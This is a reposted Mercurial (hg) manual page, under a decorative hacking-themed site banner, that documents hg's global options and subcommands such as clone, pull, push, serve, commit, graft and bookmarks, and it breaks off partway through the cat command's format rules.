░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

554 - Linux cli command hg

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command hg and provides detailed information about the command hg, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the hg.

NAME 🖥️ hg 🖥️

Mercurial source code management system

SYNOPSIS

hg command [option]… [argument]…

DESCRIPTION

The hg command provides a command line interface to the Mercurial system.

COMMAND ELEMENTS

files…
indicates one or more filename or relative path filenames; see File Name Patterns for information on pattern matching

path
indicates a path on the local machine

revision
indicates a changeset which can be specified as a changeset revision number, a tag, or a unique substring of the changeset hash value

repository path
either the pathname of a local repository or the URI of a remote repository.

OPTIONS

-R,–repository** <REPO>**
repository root directory or name of overlay bundle file

–cwd* <DIR>*
change working directory

-y, –noninteractive
do not prompt, automatically pick the first choice for all prompts

-q, –quiet
suppress output

-v, –verbose
enable additional output

–color* <TYPE>*
when to colorize (boolean, always, auto, never, or debug)

–config* <CONFIG[+]>*
set/override config option (use ‘section.name=value’)

–debug
enable debugging output

–debugger
start debugger

–encoding* <ENCODE>*
set the charset encoding (default: UTF-8)

–encodingmode* <MODE>*
set the charset encoding mode (default: strict)

–traceback
always print a traceback on exception

–time
time how long the command takes

–profile
print command execution profile

–version
output version information and exit

-h, –help
display help and exit

–hidden
consider hidden changesets

–pager* <TYPE>*
when to paginate (boolean, always, auto, or never) (default: auto)

[+] marked option can be specified multiple times

COMMANDS

Repository creation

clone

make a copy of an existing repository:

hg clone [OPTION]... SOURCE [DEST]

Create a copy of an existing repository in a new directory.

If no destination directory name is specified, it defaults to the basename of the source.

The location of the source is added to the new repository’s .hg/hgrc file, as the default to be used for future pulls.

Only local paths and ssh:// URLs are supported as destinations. For ssh:// destinations, no working directory or .hg/hgrc will be created on the remote side.

If the source repository has a bookmark called ‘@’ set, that revision will be checked out in the new repository by default.

To check out a particular version, use -u/–update, or -U/–noupdate to create a clone with no working directory.

To pull only a subset of changesets, specify one or more revisions identifiers with -r/–rev or branches with -b/–branch. The resulting clone will contain only the specified changesets and their ancestors. These options (or ‘clone src#rev dest’) imply –pull, even for local source repositories.

In normal clone mode, the remote normalizes repository data into a common exchange format and the receiving end translates this data into its local storage format. –stream activates a different clone mode that essentially copies repository files from the remote with minimal data processing. This significantly reduces the CPU cost of a clone both remotely and locally. However, it often increases the transferred data size by 30-40%. This can result in substantially faster clones where I/O throughput is plentiful, especially for larger repositories. A side-effect of –stream clones is that storage settings and requirements on the remote are applied locally: a modern client may inherit legacy or inefficient storage used by the remote or a legacy Mercurial client may not be able to clone from a modern Mercurial remote.

Note
Specifying a tag will include the tagged changeset but not the changeset containing the tag.

For efficiency, hardlinks are used for cloning whenever the source and destination are on the same filesystem (note this applies only to the repository data, not to the working directory). Some filesystems, such as AFS, implement hardlinking incorrectly, but do not report errors. In these cases, use the –pull option to avoid hardlinking.

Mercurial will update the working directory to the first applicable revision from this list:

  1. null if -U or the source repository has no changesets

  2. if -u . and the source repository is local, the first parent of the source repository’s working directory

  3. the changeset specified with -u (if a branch name, this means the latest head of that branch)

  4. the changeset specified with -r

  5. the tipmost head specified with -b

  6. the tipmost head specified with the url#branch source syntax

  7. the revision marked with the ‘@’ bookmark, if present

  8. the tipmost head of the default branch

  1. tip

When cloning from servers that support it, Mercurial may fetch pre-generated data from a server-advertised URL or inline from the same stream. When this is done, hooks operating on incoming changesets and changegroups may fire more than once, once for each pre-generated bundle and as well as for any additional remaining data. In addition, if an error occurs, the repository may be rolled back to a partial clone. This behavior may change in future releases. See hg help -e clonebundles for more.

Examples:

  • clone a remote repository to a new directory named hg/:
hg clone https://www.mercurial-scm.org/repo/hg/
  • create a lightweight local clone:
hg clone project/ project-feature/
  • clone from an absolute path on an ssh server (note double-slash):
hg clone ssh://user@server//home/projects/alpha/
  • do a streaming clone while checking out a specified version:
hg clone --stream http://server/repo -u 1.5
  • create a repository without changesets after a particular revision:
hg clone -r 04e544 experimental/ good/
  • clone (and track) a particular named branch:
hg clone https://www.mercurial-scm.org/repo/hg/#stable

See hg help urls for details on specifying URLs.

Returns 0 on success.

Options:

-U, –noupdate
the clone will include an empty working directory (only a repository)

-u,–updaterev** <REV>**
revision, tag, or branch to check out

-r,–rev** <REV[+]>**
do not clone everything, but include this changeset and its ancestors

-b,–branch** <BRANCH[+]>**
do not clone everything, but include this branch’s changesets and their ancestors

–pull
use pull protocol to copy metadata

–uncompressed
an alias to –stream (DEPRECATED)

–stream
clone with minimal data processing

-e,–ssh** <CMD>**
specify ssh command to use

–remotecmd* <CMD>*
specify hg command to run on the remote side

–insecure
do not verify server certificate (ignoring web.cacerts config)

[+] marked option can be specified multiple times

init

create a new repository in the given directory:

hg init [-e CMD] [--remotecmd CMD] [DEST]

Initialize a new repository in the given directory. If the given directory does not exist, it will be created.

If no directory is given, the current directory is used.

It is possible to specify an ssh:// URL as the destination. See hg help urls for more information.

Returns 0 on success.

Options:

-e,–ssh** <CMD>**
specify ssh command to use

–remotecmd* <CMD>*
specify hg command to run on the remote side

–insecure
do not verify server certificate (ignoring web.cacerts config)

Remote repository management

incoming

show new changesets found in source:

hg incoming [-p] [-n] [-M] [-f] [-r REV]... [--bundle FILENAME] [SOURCE]

Show new changesets found in the specified path/URL or the default pull location. These are the changesets that would have been pulled by hg pull at the time you issued this command.

See pull for valid source format details.

With -B/–bookmarks, the result of bookmark comparison between local and remote repositories is displayed. With -v/–verbose, status is also displayed for each bookmark like below:

BM1               01234567890a added
BM2               1234567890ab advanced
BM3               234567890abc diverged
BM4               34567890abcd changed

The action taken locally when pulling depends on the status of each bookmark:

added
pull will create it

advanced
pull will update it

diverged
pull will create a divergent bookmark

changed
result depends on remote changesets

From the point of view of pulling behavior, bookmark existing only in the remote repository are treated as added, even if it is in fact locally deleted.

For remote repository, using –bundle avoids downloading the changesets twice if the incoming is followed by a pull.

Examples:

  • show incoming changes with patches and full description:
hg incoming -vp
  • show incoming changes excluding merges, store a bundle:
hg in -vpM --bundle incoming.hg
hg pull incoming.hg
  • briefly list changes inside a bundle:
hg in changes.hg -T "{desc|firstline}

"

Returns 0 if there are incoming changes, 1 otherwise.

Options:

-f, –force
run even if remote repository is unrelated

-n, –newest-first
show newest record first

–bundle* <FILE>*
file to store the bundles into

-r,–rev** <REV[+]>**
a remote changeset intended to be added

-B, –bookmarks
compare bookmarks

-b,–branch** <BRANCH[+]>**
a specific branch you would like to pull

-p, –patch
show patch

-g, –git
use git extended diff format

-l,–limit** <NUM>**
limit number of changes displayed

-M, –no-merges
do not show merges

–stat
output diffstat-style summary of changes

-G, –graph
show the revision DAG

–style* <STYLE>*
display using template map file (DEPRECATED)

-T,–template** <TEMPLATE>**
display with template

-e,–ssh** <CMD>**
specify ssh command to use

–remotecmd* <CMD>*
specify hg command to run on the remote side

–insecure
do not verify server certificate (ignoring web.cacerts config)

-S, –subrepos
recurse into subrepositories

[+] marked option can be specified multiple times

aliases: in

outgoing

show changesets not found in the destination:

hg outgoing [-M] [-p] [-n] [-f] [-r REV]... [DEST]...

Show changesets not found in the specified destination repository or the default push location. These are the changesets that would be pushed if a push was requested.

See pull for details of valid destination formats.

With -B/–bookmarks, the result of bookmark comparison between local and remote repositories is displayed. With -v/–verbose, status is also displayed for each bookmark like below:

BM1               01234567890a added
BM2                            deleted
BM3               234567890abc advanced
BM4               34567890abcd diverged
BM5               4567890abcde changed

The action taken when pushing depends on the status of each bookmark:

added
push with -B will create it

deleted
push with -B will delete it

advanced
push will update it

diverged
push with -B will update it

changed
push with -B will update it

From the point of view of pushing behavior, bookmarks existing only in the remote repository are treated as deleted, even if it is in fact added remotely.

Returns 0 if there are outgoing changes, 1 otherwise.

Options:

-f, –force
run even when the destination is unrelated

-r,–rev** <REV[+]>**
a changeset intended to be included in the destination

-n, –newest-first
show newest record first

-B, –bookmarks
compare bookmarks

-b,–branch** <BRANCH[+]>**
a specific branch you would like to push

-p, –patch
show patch

-g, –git
use git extended diff format

-l,–limit** <NUM>**
limit number of changes displayed

-M, –no-merges
do not show merges

–stat
output diffstat-style summary of changes

-G, –graph
show the revision DAG

–style* <STYLE>*
display using template map file (DEPRECATED)

-T,–template** <TEMPLATE>**
display with template

-e,–ssh** <CMD>**
specify ssh command to use

–remotecmd* <CMD>*
specify hg command to run on the remote side

–insecure
do not verify server certificate (ignoring web.cacerts config)

-S, –subrepos
recurse into subrepositories

[+] marked option can be specified multiple times

aliases: out

paths

show aliases for remote repositories:

hg paths [NAME]

Show definition of symbolic path name NAME. If no name is given, show definition of all available names.

Option -q/–quiet suppresses all output when searching for NAME and shows only the path names when listing all definitions.

Path names are defined in the [paths] section of your configuration file and in /etc/mercurial/hgrc. If run inside a repository, .hg/hgrc is used, too.

The path names default and default-push have a special meaning. When performing a push or pull operation, they are used as fallbacks if no location is specified on the command-line. When default-push is set, it will be used for push and default will be used for pull; otherwise default is used as the fallback for both. When cloning a repository, the clone source is written as default in .hg/hgrc.

Note
default and default-push apply to all inbound (e.g. hg incoming) and outbound (e.g. hg outgoing, hg email and hg bundle) operations.

See hg help urls for more information.

Template:

The following keywords are supported. See also hg help templates.

name
String. Symbolic name of the path alias.

pushurl
String. URL for push operations.

url
String. URL or directory path for the other operations.

Returns 0 on success.

Options:

-T,–template** <TEMPLATE>**
display with template

pull

pull changes from the specified source:

hg pull [-u] [-f] [-r REV]... [-e CMD] [--remotecmd CMD] [SOURCE]...

Pull changes from a remote repository to a local one.

This finds all changes from the repository at the specified path or URL and adds them to a local repository (the current one unless -R is specified). By default, this does not update the copy of the project in the working directory.

When cloning from servers that support it, Mercurial may fetch pre-generated data. When this is done, hooks operating on incoming changesets and changegroups may fire more than once, once for each pre-generated bundle and as well as for any additional remaining data. See hg help -e clonebundles for more.

Use hg incoming if you want to see what would have been added by a pull at the time you issued this command. If you then decide to add those changes to the repository, you should use hg pull -r X where X is the last changeset listed by hg incoming.

If SOURCE is omitted, the ‘default’ path will be used. See hg help urls for more information.

If multiple sources are specified, they will be pulled sequentially as if the command was run multiple time. If –update is specify and the command will stop at the first failed –update.

Specifying bookmark as . is equivalent to specifying the active bookmark’s name.

One can use the –remote-hidden flag to pull changesets hidden on the remote. This flag is “best effort”, and will only work if the server supports the feature and is configured to allow the user to access hidden changesets. This option is experimental and backwards compatibility is not garanteed.

Returns 0 on success, 1 if an update had unresolved files.

Options:

-u, –update
update to new branch head if new descendants were pulled

-f, –force
run even when remote repository is unrelated

–confirm
confirm pull before applying changes

-r,–rev** <REV[+]>**
a remote changeset intended to be added

-B,–bookmark** <BOOKMARK[+]>**
bookmark to pull

-b,–branch** <BRANCH[+]>**
a specific branch you would like to pull

–remote-hidden
include changesets hidden on the remote (EXPERIMENTAL)

-e,–ssh** <CMD>**
specify ssh command to use

–remotecmd* <CMD>*
specify hg command to run on the remote side

–insecure
do not verify server certificate (ignoring web.cacerts config)

[+] marked option can be specified multiple times

push

push changes to the specified destination:

hg push [-f] [-r REV]... [-e CMD] [--remotecmd CMD] [DEST]...

Push changesets from the local repository to the specified destination.

This operation is symmetrical to pull: it is identical to a pull in the destination repository from the current one.

By default, push will not allow creation of new heads at the destination, since multiple heads would make it unclear which head to use. In this situation, it is recommended to pull and merge before pushing.

Use –new-branch if you want to allow push to create a new named branch that is not present at the destination. This allows you to only create a new branch without forcing other changes.

Note
Extra care should be taken with the -f/–force option, which will push all new heads on all branches, an action which will almost always cause confusion for collaborators.

If -r/–rev is used, the specified revision and all its ancestors will be pushed to the remote repository.

If -B/–bookmark is used, the specified bookmarked revision, its ancestors, and the bookmark will be pushed to the remote repository. Specifying . is equivalent to specifying the active bookmark’s name. Use the –all-bookmarks option for pushing all current bookmarks.

Please see hg help urls for important details about ssh:// URLs. If DESTINATION is omitted, a default path will be used.

When passed multiple destinations, push will process them one after the other, but stop should an error occur.

The –pushvars option sends strings to the server that become environment variables prepended with HG_USERVAR_. For example, –pushvars ENABLE_FEATURE=true, provides the server side hooks with HG_USERVAR_ENABLE_FEATURE=true as part of their environment.

pushvars can provide for user-overridable hooks as well as set debug levels. One example is having a hook that blocks commits containing conflict markers, but enables the user to override the hook if the file is using conflict markers for testing purposes or the file format has strings that look like conflict markers.

By default, servers will ignore –pushvars. To enable it add the following to your configuration file:

[push]
pushvars.server = true

Returns 0 if push was successful, 1 if nothing to push.

Options:

-f, –force
force push

-r,–rev** <REV[+]>**
a changeset intended to be included in the destination

-B,–bookmark** <BOOKMARK[+]>**
bookmark to push

–all-bookmarks
push all bookmarks (EXPERIMENTAL)

-b,–branch** <BRANCH[+]>**
a specific branch you would like to push

–new-branch
allow pushing a new branch

–pushvars* <VALUE[+]>*
variables that can be sent to server (ADVANCED)

–publish
push the changeset as public (EXPERIMENTAL)

-e,–ssh** <CMD>**
specify ssh command to use

–remotecmd* <CMD>*
specify hg command to run on the remote side

–insecure
do not verify server certificate (ignoring web.cacerts config)

[+] marked option can be specified multiple times

serve

start stand-alone webserver:

hg serve [OPTION]...

Start a local HTTP repository browser and pull server. You can use this for ad-hoc sharing and browsing of repositories. It is recommended to use a real web server to serve a repository for longer periods of time.

Please note that the server does not implement access control. This means that, by default, anybody can read from the server and nobody can write to it by default. Set the web.allow-push option to * to allow everybody to push to the server. You should use a real web server if you need to authenticate users.

By default, the server logs accesses to stdout and errors to stderr. Use the -A/–accesslog and -E/–errorlog options to log to files.

To have the server choose a free port number to listen on, specify a port number of 0; in this case, the server will print the port number it uses.

Returns 0 on success.

Options:

-A,–accesslog** <FILE>**
name of access log file to write to

-d, –daemon
run server in background

–daemon-postexec* <VALUE[+]>*
used internally by daemon mode

-E,–errorlog** <FILE>**
name of error log file to write to

-p,–port** <PORT>**
port to listen on (default: 8000)

-a,–address** <ADDR>**
address to listen on (default: all interfaces)

–prefix* <PREFIX>*
prefix path to serve from (default: server root)

-n,–name** <NAME>**
name to show in web pages (default: working directory)

–web-conf* <FILE>*
name of the hgweb config file (see ‘hg help hgweb’)

–webdir-conf* <FILE>*
name of the hgweb config file (DEPRECATED)

–pid-file* <FILE>*
name of file to write process ID to

–stdio
for remote clients (ADVANCED)

–cmdserver* <MODE>*
for remote clients (ADVANCED)

-t,–templates** <TEMPLATE>**
web templates to use

–style* <STYLE>*
template style to use

-6, –ipv6
use IPv6 instead of IPv4

–certificate* <FILE>*
SSL certificate file

–print-url
start and print only the URL

-S, –subrepos
recurse into subrepositories

[+] marked option can be specified multiple times

Change creation

commit

commit the specified files or all outstanding changes:

hg commit [OPTION]... [FILE]...

Commit changes to the given files into the repository. Unlike a centralized SCM, this operation is a local operation. See hg push for a way to actively distribute your changes.

If a list of files is omitted, all changes reported by hg status will be committed.

If you are committing the result of a merge, do not provide any filenames or -I/-X filters.

If no commit message is specified, Mercurial starts your configured editor where you can enter a message. In case your commit fails, you will find a backup of your message in .hg/last-message.txt.

The –close-branch flag can be used to mark the current branch head closed. When all heads of a branch are closed, the branch will be considered closed and no longer listed.

The –amend flag can be used to amend the parent of the working directory with a new commit that contains the changes in the parent in addition to those currently reported by hg status, if there are any. The old commit is stored in a backup bundle in .hg/strip-backup (see hg help bundle and hg help unbundle on how to restore it).

Message, user and date are taken from the amended commit unless specified. When a message isn’t specified on the command line, the editor will open with the message of the amended commit.

It is not possible to amend public changesets (see hg help phases) or changesets that have children.

See hg help dates for a list of formats valid for -d/–date.

Returns 0 on success, 1 if nothing changed.

Examples:

  • commit all files ending in .py:
hg commit --include "set:**.py"
  • commit all non-binary files:
hg commit --exclude "set:binary()"
  • amend the current commit and set the date to now:
hg commit --amend --date now

Options:

-A, –addremove
mark new/missing files as added/removed before committing

–close-branch
mark a branch head as closed

–amend
amend the parent of the working directory

-s, –secret
use the secret phase for committing

–draft
use the draft phase for committing

-e, –edit
invoke editor on commit messages

–force-close-branch
forcibly close branch from a non-head changeset (ADVANCED)

-i, –interactive
use interactive mode

-I,–include** <PATTERN[+]>**
include names matching the given patterns

-X,–exclude** <PATTERN[+]>**
exclude names matching the given patterns

-m,–message** <TEXT>**
use text as commit message

-l,–logfile** <FILE>**
read commit message from file

-d,–date** <DATE>**
record the specified date as commit date

-u,–user** <USER>**
record the specified user as committer

-S, –subrepos
recurse into subrepositories

[+] marked option can be specified multiple times

aliases: ci

Change manipulation

abort

abort an unfinished operation (EXPERIMENTAL):

hg abort

Aborts a multistep operation like graft, histedit, rebase, merge, and unshelve if they are in an unfinished state.

use –dry-run/-n to dry run the command.

Options:

-n, –dry-run
do not perform actions, just print output

backout

reverse effect of earlier changeset:

hg backout [OPTION]... [-r] REV

Prepare a new changeset with the effect of REV undone in the current working directory. If no conflicts were encountered, it will be committed immediately.

If REV is the parent of the working directory, then this new changeset is committed automatically (unless –no-commit is specified).

Note
hg backout cannot be used to fix either an unwanted or incorrect merge.

Examples:

  • Reverse the effect of the parent of the working directory. This backout will be committed immediately:
hg backout -r .
  • Reverse the effect of previous bad revision 23:
hg backout -r 23
  • Reverse the effect of previous bad revision 23 and leave changes uncommitted:
hg backout -r 23 --no-commit
hg commit -m "Backout revision 23"

By default, the pending changeset will have one parent, maintaining a linear history. With –merge, the pending changeset will instead have two parents: the old parent of the working directory and a new child of REV that simply undoes REV.

Before version 1.7, the behavior without –merge was equivalent to specifying –merge followed by hg update –clean . to cancel the merge and leave the child of REV as a head to be merged separately.

See hg help dates for a list of formats valid for -d/–date.

See hg help revert for a way to restore files to the state of another revision.

Returns 0 on success, 1 if nothing to backout or there are unresolved files.

Options:

–merge
merge with old dirstate parent after backout

–commit
commit if no conflicts were encountered (DEPRECATED)

–no-commit
do not commit

–parent* <REV>*
parent to choose when backing out merge (DEPRECATED)

-r,–rev** <REV>**
revision to backout

-e, –edit
invoke editor on commit messages

-t,–tool** <TOOL>**
specify merge tool

-I,–include** <PATTERN[+]>**
include names matching the given patterns

-X,–exclude** <PATTERN[+]>**
exclude names matching the given patterns

-m,–message** <TEXT>**
use text as commit message

-l,–logfile** <FILE>**
read commit message from file

-d,–date** <DATE>**
record the specified date as commit date

-u,–user** <USER>**
record the specified user as committer

[+] marked option can be specified multiple times

continue

resumes an interrupted operation (EXPERIMENTAL):

hg continue

Finishes a multistep operation like graft, histedit, rebase, merge, and unshelve if they are in an interrupted state.

use –dry-run/-n to dry run the command.

Options:

-n, –dry-run
do not perform actions, just print output

graft

copy changes from other branches onto the current branch:

hg graft [OPTION]... [-r REV]... REV...

This command uses Mercurial’s merge logic to copy individual changes from other branches without merging branches in the history graph. This is sometimes known as ‘backporting’ or ‘cherry-picking’. By default, graft will copy user, date, and description from the source changesets.

Changesets that are ancestors of the current revision, that have already been grafted, or that are merges will be skipped.

If –log is specified, log messages will have a comment appended of the form:

(grafted from CHANGESETHASH)

If –force is specified, revisions will be grafted even if they are already ancestors of, or have been grafted to, the destination. This is useful when the revisions have since been backed out.

If a graft merge results in conflicts, the graft process is interrupted so that the current merge can be manually resolved. Once all conflicts are addressed, the graft process can be continued with the -c/–continue option.

The -c/–continue option reapplies all the earlier options.

The –base option exposes more of how graft internally uses merge with a custom base revision. –base can be used to specify another ancestor than the first and only parent.

The command:

hg graft -r 345 --base 234

is thus pretty much the same as:

hg diff --from 234 --to 345 | hg import

but using merge to resolve conflicts and track moved files.

The result of a merge can thus be backported as a single commit by specifying one of the merge parents as base, and thus effectively grafting the changes from the other side.

It is also possible to collapse multiple changesets and clean up history by specifying another ancestor as base, much like rebase –collapse –keep.

The commit message can be tweaked after the fact using commit –amend .

For using non-ancestors as the base to backout changes, see the backout command and the hidden –parent option.

Examples:

  • copy a single change to the stable branch and edit its description:
hg update stable
hg graft --edit 9393
  • graft a range of changesets with one exception, updating dates:
hg graft -D "2085::2093 and not 2091"
  • continue a graft after resolving conflicts:
hg graft -c
  • show the source of a grafted changeset:
hg log --debug -r .
  • show revisions sorted by date:
hg log -r "sort(all(), date)"
  • backport the result of a merge as a single commit:
hg graft -r 123 --base 123^
  • land a feature branch as one changeset:
hg up -cr default
hg graft -r featureX --base "ancestor('featureX', 'default')"

See hg help revisions for more about specifying revisions.

Returns 0 on successful completion, 1 if there are unresolved files.

Options:

-r,–rev** <REV[+]>**
revisions to graft

–base* <REV>*
base revision when doing the graft merge (ADVANCED)

-c, –continue
resume interrupted graft

–stop
stop interrupted graft

–abort
abort interrupted graft

-e, –edit
invoke editor on commit messages

–log
append graft info to log message

–no-commit
don’t commit, just apply the changes in working directory

-f, –force
force graft

-D, –currentdate
record the current date as commit date

-U, –currentuser
record the current user as committer

-d,–date** <DATE>**
record the specified date as commit date

-u,–user** <USER>**
record the specified user as committer

-t,–tool** <TOOL>**
specify merge tool

-n, –dry-run
do not perform actions, just print output

[+] marked option can be specified multiple times

merge

merge another revision into working directory:

hg merge [-P] [[-r] REV]

The current working directory is updated with all changes made in the requested revision since the last common predecessor revision.

Files that changed between either parent are marked as changed for the next commit and a commit must be performed before any further updates to the repository are allowed. The next commit will have two parents.

–tool can be used to specify the merge tool used for file merges. It overrides the HGMERGE environment variable and your configuration files. See hg help merge-tools for options.

If no revision is specified, the working directory’s parent is a head revision, and the current branch contains exactly one other head, the other head is merged with by default. Otherwise, an explicit revision with which to merge must be provided.

See hg help resolve for information on handling file conflicts.

To undo an uncommitted merge, use hg merge –abort which will check out a clean copy of the original merge parent, losing all changes.

Returns 0 on success, 1 if there are unresolved files.

Options:

-f, –force
force a merge including outstanding changes (DEPRECATED)

-r,–rev** <REV>**
revision to merge

-P, –preview
review revisions to merge (no merge is performed)

–abort
abort the ongoing merge

-t,–tool** <TOOL>**
specify merge tool

Change organization

bookmarks

create a new bookmark or list existing bookmarks:

hg bookmarks [OPTIONS]... [NAME]...

Bookmarks are labels on changesets to help track lines of development. Bookmarks are unversioned and can be moved, renamed and deleted. Deleting or moving a bookmark has no effect on the associated changesets.

Creating or updating to a bookmark causes it to be marked as ‘active’. The active bookmark is indicated with a ‘*’. When a commit is made, the active bookmark will advance to the new commit. A plain hg update will also advance an active bookmark, if possible. Updating away from a bookmark will cause it to be deactivated.

Bookmarks can be pushed and pulled between repositories (see hg help push and hg help pull). If a shared bookmark has diverged, a new ‘divergent bookmark’ of the form ’name@path’ will be created. Using hg merge will resolve the divergence.

Specifying bookmark as ‘.’ to -m/-d/-l options is equivalent to specifying the active bookmark’s name.

A bookmark named ‘@’ has the special property that hg clone will check it out by default if it exists.

Template:

The following keywords are supported in addition to the common template keywords and functions such as {bookmark}. See also hg help templates.

active
Boolean. True if the bookmark is active.

Examples:

  • create an active bookmark for a new line of development:
hg book new-feature
  • create an inactive bookmark as a place marker:
hg book -i reviewed
  • create an inactive bookmark on another changeset:
hg book -r .^ tested
  • rename bookmark turkey to dinner:
hg book -m turkey dinner
  • move the ‘@’ bookmark from another branch:
hg book -f @
  • print only the active bookmark name:
hg book -ql .

Options:

-f, –force
force

-r,–rev** <REV>**
revision for bookmark action

-d, –delete
delete a given bookmark

-m,–rename** <OLD>**
rename a given bookmark

-i, –inactive
mark a bookmark inactive

-l, –list
list existing bookmarks

-T,–template** <TEMPLATE>**
display with template

aliases: bookmark

branch

set or show the current branch name:

hg branch [-fC] [NAME]

Note
Branch names are permanent and global. Use hg bookmark to create a light-weight bookmark instead. See hg help glossary for more information about named branches and bookmarks.

With no argument, show the current branch name. With one argument, set the working directory branch name (the branch will not exist in the repository until the next commit). Standard practice recommends that primary development take place on the ‘default’ branch.

Unless -f/–force is specified, branch will not let you set a branch name that already exists.

Use -C/–clean to reset the working directory branch to that of the parent of the working directory, negating a previous branch change.

Use the command hg update to switch to an existing branch. Use hg commit –close-branch to mark this branch head as closed. When all heads of a branch are closed, the branch will be considered closed.

Returns 0 on success.

Options:

-f, –force
set branch name even if it shadows an existing branch

-C, –clean
reset branch name to parent branch name

-r,–rev** <VALUE[+]>**
change branches of the given revs (EXPERIMENTAL)

[+] marked option can be specified multiple times

branches

list repository named branches:

hg branches [-c]

List the repository’s named branches, indicating which ones are inactive. If -c/–closed is specified, also list branches which have been marked closed (see hg commit –close-branch).

Use the command hg update to switch to an existing branch.

Template:

The following keywords are supported in addition to the common template keywords and functions such as {branch}. See also hg help templates.

active
Boolean. True if the branch is active.

closed
Boolean. True if the branch is closed.

current
Boolean. True if it is the current branch.

Returns 0.

Options:

-a, –active
show only branches that have unmerged heads (DEPRECATED)

-c, –closed
show normal and closed branches

-r,–rev** <VALUE[+]>**
show branch name(s) of the given rev

-T,–template** <TEMPLATE>**
display with template

[+] marked option can be specified multiple times

phase

set or show the current phase name:

hg phase [-p|-d|-s] [-f] [-r] [REV...]

With no argument, show the phase name of the current revision(s).

With one of -p/–public, -d/–draft or -s/–secret, change the phase value of the specified revisions.

Unless -f/–force is specified, hg phase won’t move changesets from a lower phase to a higher phase. Phases are ordered as follows:

public < draft < secret

Returns 0 on success, 1 if some phases could not be changed.

(For more information about the phases concept, see hg help phases.)

Options:

-p, –public
set changeset phase to public

-d, –draft
set changeset phase to draft

-s, –secret
set changeset phase to secret

-f, –force
allow to move boundary backward

-r,–rev** <REV[+]>**
target revision

[+] marked option can be specified multiple times

tag

add one or more tags for the current or given revision:

hg tag [-f] [-l] [-m TEXT] [-d DATE] [-u USER] [-r REV] NAME...

Name a particular revision using <name>.

Tags are used to name particular revisions of the repository and are very useful to compare different revisions, to go back to significant earlier versions or to mark branch points as releases, etc. Changing an existing tag is normally disallowed; use -f/–force to override.

If no revision is given, the parent of the working directory is used.

To facilitate version control, distribution, and merging of tags, they are stored as a file named “.hgtags” which is managed similarly to other project files and can be hand-edited if necessary. This also means that tagging creates a new commit. The file “.hg/localtags” is used for local tags (not shared among repositories).

Tag commits are usually made at the head of a branch. If the parent of the working directory is not a branch head, hg tag aborts; use -f/–force to force the tag commit to be based on a non-head changeset.

See hg help dates for a list of formats valid for -d/–date.

Since tag names have priority over branch names during revision lookup, using an existing branch name as a tag name is discouraged.

Returns 0 on success.

Options:

-f, –force
force tag

-l, –local
make the tag local

-r,–rev** <REV>**
revision to tag

–remove
remove a tag

-e, –edit
invoke editor on commit messages

-m,–message** <TEXT>**
use text as commit message

-d,–date** <DATE>**
record the specified date as commit date

-u,–user** <USER>**
record the specified user as committer

tags

list repository tags:

hg tags

This lists both regular and local tags. When the -v/–verbose switch is used, a third column “local” is printed for local tags. When the -q/–quiet switch is used, only the tag name is printed.

Template:

The following keywords are supported in addition to the common template keywords and functions such as {tag}. See also hg help templates.

type
String. local for local tags.

Returns 0 on success.

Options:

-T,–template** <TEMPLATE>**
display with template

File content management

annotate

show changeset information by line for each file:

hg annotate [-r REV] [-f] [-a] [-u] [-d] [-n] [-c] [-l] FILE...

List changes in files, showing the revision id responsible for each line.

This command is useful for discovering when a change was made and by whom.

If you include –file, –user, or –date, the revision number is suppressed unless you also include –number.

Without the -a/–text option, annotate will avoid processing files it detects as binary. With -a, annotate will annotate the file anyway, although the results will probably be neither useful nor desirable.

Use -L/–line-range FILE,M:N options to filter the output to the lines from M to N in FILE. This option is incompatible with –no-follow and cannot be combined with file pattern arguments. When combined with –rev the line ranges refer to the state of the file at the requested revision.

Template:

The following keywords are supported in addition to the common template keywords and functions. See also hg help templates.

lines
List of lines with annotation data.

path
String. Repository-absolute path of the specified file.

And each entry of {lines} provides the following sub-keywords in addition to {date}, {node}, {rev}, {user}, etc.

line
String. Line content.

lineno
Integer. Line number at that revision.

path
String. Repository-absolute path of the file at that revision.

See hg help templates.operators for the list expansion syntax.

Returns 0 on success.

Options:

-r,–rev** <REV>**
annotate the specified revision

–follow
follow copies/renames and list the filename (DEPRECATED)

–no-follow
don’t follow copies and renames

-a, –text
treat all files as text

-u, –user
list the author (long with -v)

-f, –file
list the filename

-d, –date
list the date (short with -q)

-n, –number
list the revision number (default)

-c, –changeset
list the changeset

-l, –line-number
show line number at the first appearance

–skip* <REV[+]>*
revset to not display (EXPERIMENTAL)

-L,–line-range** <FILE,RANGE[+]>**
follow line range of specified file (EXPERIMENTAL)

-w, –ignore-all-space
ignore white space when comparing lines

-b, –ignore-space-change
ignore changes in the amount of white space

-B, –ignore-blank-lines
ignore changes whose lines are all blank

-Z, –ignore-space-at-eol
ignore changes in whitespace at EOL

-I,–include** <PATTERN[+]>**
include names matching the given patterns

-X,–exclude** <PATTERN[+]>**
exclude names matching the given patterns

-T,–template** <TEMPLATE>**
display with template

[+] marked option can be specified multiple times

aliases: blame

cat

output the current or given revision of files:

hg cat [OPTION]... FILE...

Print the specified files as they were at the given revision. If no revision is given, the parent of the working directory is used.

Output may be to a file, in which case the name of the file is given using a template string. See hg help templates. In addition to the common template keywords, the following formatting rules are supported:

%%
literal “%” character

%s
basename of file being printed

%d
dirname of file being printed, or ‘.’ if in repository root

%p
root-relative path name of file being printed

%H
changeset hash (40 hexadecimal digits)

%R
changeset revision number

%h
